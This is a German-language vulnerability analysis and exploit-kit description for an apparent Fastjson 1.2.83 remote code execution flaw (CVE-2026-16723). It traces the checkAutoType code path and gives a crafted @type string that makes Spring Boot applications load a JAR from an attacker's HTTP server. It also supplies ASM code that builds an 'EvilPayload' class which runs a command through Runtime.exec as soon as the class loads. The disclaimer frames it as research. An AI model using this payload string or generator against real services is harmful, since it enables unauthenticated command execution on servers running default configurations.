
Detaillierte CVE-2026-16723-Analyse und Exploit-Kit für Fastjson 1.2.83 RCE, das verwundbare Codepfade, die Generierung bösartiger JAR-/Bytecode-Dateien und eine Docker-Compose-Umgebung zur Reproduktion des Angriffs abdeckt.
Haftungsausschluss: Dieses Projekt dient ausschließlich der Sicherheitsforschung und dem Lernen in autorisierten Umgebungen. Tests an nicht autorisierten Systemen sind verboten; die Folgen der Nutzung trägt der Nutzer selbst.
CVSS 9.0, betrifft Fastjson 1.2.68 ~ 1.2.83. AutoType muss nicht aktiviert werden, kein Drittanbieter-Gadget erforderlich, mit der Standardkonfiguration ausnutzbar.
Der Einstiegspunkt der Schwachstelle liegt in com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Unabhängig davon, ob JSON.parse(body) oder JSON.parseObject(body, Foo.class) aufgerufen wird, gelangt man letztlich in diese Methode.
Kritischer Codepfad (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
Der AutoType-Schalter (autoTypeSupport) steuert nur ① den Eintritt, aber ② die Annotation-Erkennung wird bedingungslos ausgeführt. Sobald in ② jsonType zu true wird, werden ③ das Laden des Typs und ④ das Überspringen der Sicherheitsprüfung nacheinander ausgelöst.
String resource = typeName.replace('.', '/') + ".class";
typeName ist der Wert von @type in JSON und vollständig vom Angreifer kontrollierbar. Eigentlich soll com.example.Foo in com/example/Foo.class umgewandelt werden, aber wenn die Eingabe eine URL ist, wird daraus ein URL-Konstruktor.
Da auch die . im Hostnamen ersetzt werden, umgeht der Angreifer dies mit einer Integer-IP. Die 32-Bit-Ganzzahl ohne Vorzeichen von 127.0.0.1 ist 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, wodurch ein gültiger jar:http://-Ressourcenlokator entsteht.
is = defaultClassLoader.getResourceAsStream(resource);
Ob getResourceAsStream jar:http:// als entfernte Ressource auflösen kann, hängt vollständig vom Typ des ClassLoaders ab:
| ClassLoader | Verhalten |
|---|---|
JDK AppClassLoader | durchsucht nur den lokalen Classpath → null |
Tomcat WebappClassLoader (eigenständige WAR) | durchsucht nur WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (Fat-JAR) | unterstützt jar:http:// → ruft Bytecode per HTTP ab |
Hier gibt es einen leicht zu verwechselnden Punkt: Wenn Tomcat in Spring Boot eingebettet ist, ist der ClassLoader der Anwendungsklassen LaunchedURLClassLoader und nicht WebappClassLoader. Daher sind eingebettete Tomcat/Jetty/Undertow alle im betroffenen Bereich.
Wenn is != null gilt, sind die vom Angreifer gehosteten entfernten Class-Bytecodes bereits in den JVM-Speicher gelangt.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson verwendet ASM, um den Bytecode zu scannen und zu prüfen, ob die Annotation @com.alibaba.fastjson.annotation.JSONType enthalten ist. Der ursprüngliche Entwurfsgedanke war eine Performance-Optimierung – durch die Annotation schnell Typen zu identifizieren, die von Fastjson verwaltet werden. Hier wird jedoch nur geprüft, ob die Annotation vorhanden ist; die Herkunft des Bytecodes wird nicht verifiziert, der Klassenname nicht geprüft und die Quelle nicht eingeschränkt. Solange die entfernte Klasse des Angreifers @JSONType trägt, erhält sie die Bewertung jsonType=true.
Beachte, dass catch (Exception e) {} leer ist – der Angreifer erhält keinerlei Fehlermeldung.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true erfüllt die Bedingung. loadClass durchläuft den Standard-Klassenladeprozess und registriert den Bytecode über defineClass als JVM-Class-Objekt.
Zwei Konzepte müssen unterschieden werden: defineClass schließt die Klassendefinition ab (Registrierung in der JVM), während <clinit> in der Klasseninitialisierungsphase ausgeführt wird. Beide Phasen können innerhalb derselben Anfrage abgeschlossen werden, aber gemäß der JVM-Spezifikation sind sie unabhängig voneinander.
if (jsonType) {
return clazz;
}
Diese Zeile umgeht alle nachfolgenden Schutzmaßnahmen:
ClassLoader/DataSource/RowSetdenyList-SchwarzlisteexpectClass.isAssignableFrom(clazz)Das erklärt auch, warum parseObject(body, Dto.class) nicht schützt: Die Typbindungsprüfung erfolgt nach dem Klassenladen, während der Angriffscode bereits in der Ladephase ausgeführt wird.
Der Angreifer muss eine Bytecode-Datei erzeugen, die drei Bedingungen erfüllt: Sie trägt die @JSONType-Annotation, bettet den Angriffscode in <clinit> ein und wird über HTTP gehostet.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
Die bösartige Logik wird über <clinit> ausgelöst; die Klasse wird ausgeführt, sobald sie geladen wird.